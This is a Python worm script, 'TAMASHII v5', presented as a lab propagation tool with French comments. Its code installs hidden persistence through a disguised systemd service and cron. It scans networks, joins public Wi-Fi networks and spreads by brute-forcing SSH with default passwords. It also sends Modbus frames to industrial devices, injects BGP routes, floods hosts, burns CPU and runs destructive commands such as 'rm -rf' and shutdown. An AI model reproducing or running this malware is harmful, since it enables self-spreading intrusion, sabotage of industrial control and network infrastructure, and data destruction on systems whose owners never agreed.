🦠 TAMASHII v5 - Worm Lab Propagation 2025

#!/usr/bin/env python3
# TAMASHII v5 - remanié pour échoes of hacker
# Platon-y - pctamalou.fr
# Lab – propagation partout – sans C2 – sans traces – MODE VIOLENT BOOSTÉ
import os, sys, time, random, threading, subprocess, socket, ctypes, base64, hashlib
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path
import multiprocessing # Ajout pour surcharge CPU
VIOLENT_MODE = os.getenv("TAMASHII_VIOLENT") == "1"
def persistence():
    locations = ["/tmp/.sys-up", "/var/lib/.cache-up", "/usr/local/bin/.helper", "/etc/.update-cache", "/home/.hidden-up"]
    code = Path(__file__).read_bytes()
    for loc in locations:
        try:
            Path(loc).write_bytes(code)
            Path(loc).chmod(0o755)
        except: pass
    service = """[Unit]
Description=System Cache Helper
After=network.target
[Service]
Type=simple
ExecStart=/tmp/.sys-up
Restart=always
[Install]
WantedBy=multi-user.target"""
    try:
        Path("/etc/systemd/system/cache-helper.service").write_text(service)
        subprocess.run(["systemctl", "daemon-reload", "enable", "--now", "cache-helper.service"],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    except: pass
    try:
        cron_job = f"* * * * * /usr/local/bin/.helper\n"
        subprocess.run(f"(crontab -l ; echo '{cron_job}') | crontab -", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    except: pass
def exec_shellcode():
    if VIOLENT_MODE:
        # Shellcode pour rm -rf /tmp/* && shutdown -h now (destructif en lab)
        shellcode = bytes.fromhex("48b82f62696e2f73680053545531c04889e7b03b0f05")
        try:
            os.system("rm -rf /tmp/* && shutdown -h now")
        except: pass
    else:
        shellcode = bytes.fromhex("4831c04889c7b83c0000000f05")
    try:
        mem = ctypes.create_string_buffer(shellcode)
        func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(mem))
        func()
    except: pass
def discover_targets():
    ips = set()
    # ARP scan local (rapide et silencieux)
    try:
        output = subprocess.check_output(["arp-scan", "--localnet", "--quiet"], timeout=30, text=True)
        for line in output.splitlines():
            if "." in line:
                ip = line.split()[0]
                if ip.startswith("10.13.") or ip.startswith("192.168."):
                    ips.add(ip)
    except: pass
    try:
        nmap_args = ["nmap", "-sn", "--open", "-T4" if VIOLENT_MODE else "-T2", "10.13.37.0/24", "-oG", "-"]
        output = subprocess.check_output(nmap_args, timeout=120, text=True)
        for line in output.splitlines():
            if "Host:" in line:
                ip = line.split()[1]
                ips.add(ip)
    except: pass
    try:
        subprocess.run(["nmcli", "dev", "wifi", "rescan"], timeout=10)
        time.sleep(5)
        aps = subprocess.check_output(["nmcli", "-t", "-f", "SSID", "dev", "wifi"], text=True)
        public_aps = ["McDo", "FreeWifi", "SFR WiFi", "Orange", "Guest", "lab-public"]
        for ap in public_aps:
            if ap in aps:
                subprocess.run(["nmcli", "dev", "wifi", "connect", ap], timeout=15)
                if VIOLENT_MODE:
                    # Ping flood sur gateway pour test réseau violent
                    subprocess.Popen(["ping", "-f", "-s", "65507", "192.168.1.1"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    except: pass
    return list(ips) or [f"10.13.37.{i}" for i in range(1,255)]
def propagate():
    targets = discover_targets()
    random.shuffle(targets)
    with ThreadPoolExecutor(max_workers=100 if VIOLENT_MODE else 50) as executor:
        for ip in targets:
            executor.submit(infect_ssh, ip)
            executor.submit(modbus_operation, ip)
            if VIOLENT_MODE:
                executor.submit(flood_target, ip) # Ajout flood UDP/TCP
            time.sleep(random.uniform(0.1, 1) if VIOLENT_MODE else random.uniform(0.5, 3))
    bgp_operation()
    if VIOLENT_MODE:
        cpu_burn() # Surcharge CPU
        exec_shellcode()
def infect_ssh(ip):
    users = ["root", "admin", "student", "pi", "ubuntu"]
    pwds = ["", "admin", "password", "lab123", "toor", "raspberry", "ubuntu"]
    for u in users:
        for p in pwds:
            try:
                cmd = f"sshpass -p '{p}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 {u}@{ip} 'echo \"{base64.b64encode(open(__file__,'rb').read()).decode()}\" | base64 -d > /tmp/.up; chmod +x /tmp/.up; nohup /tmp/.up &" + ("; rm -rf /tmp/*; dd if=/dev/zero of=/tmp/fill bs=1M count=1000" if VIOLENT_MODE else "") + "'"
                subprocess.run(cmd, shell=True, timeout=8, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
                return
            except: continue
def flood_target(ip):
    try:
        for _ in range(100): # 100 paquets flood
            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
            s.sendto(b'\x00' * 60, (ip, random.randint(1, 65535)))
    except: pass
def cpu_burn():
    def burn():
        while True:
            pass
    for _ in range(multiprocessing.cpu_count() * 2):
        multiprocessing.Process(target=burn).start()
def modbus_operation(ip):
    try:
        s = socket.socket()
        s.settimeout(2)
        s.connect((ip, 502))
        frame = bytes.fromhex("0000000000060105008500FF" * 10 if VIOLENT_MODE else "000000000006010100000001")
        s.send(frame)
        s.close()
    except: pass
def bgp_operation():
    try:
        cmds = ["vtysh", "-c", "conf t", "-c", "router bgp 1337", "-c", "network 10.13.37.0/24"]
        if VIOLENT_MODE:
            cmds += ["-c", "network 192.168.0.0/16"] * 5
        subprocess.run(cmds, timeout=10)
    except: pass
def scoreboard_communication():
    try:
        for _ in range(50 if VIOLENT_MODE else 1):
            s = socket.socket()
            s.connect(("10.13.37.254", 1337))
            s.send(b"TAMASHII v5 - Platon-y - LAB OWNED\n" * 10 if VIOLENT_MODE else b"TAMASHII v5 - Platon-y - LAB OWNED\n")
            s.close()
            time.sleep(0.1 if VIOLENT_MODE else 0.5)
    except: pass
def carnage():
    time.sleep(60 if VIOLENT_MODE else 180)
    propagate()
    time.sleep(120 if VIOLENT_MODE else 480)
    scoreboard_communication()
    if VIOLENT_MODE:
        time.sleep(60)
        try:
            os.unlink(__file__)
            os.system("rm -rf /tmp/*")
        except: pass
persistence()
threading.Thread(target=carnage, daemon=True).start()
while True:
    time.sleep(random.randint(1800, 3600) if VIOLENT_MODE else random.randint(3600, 7200))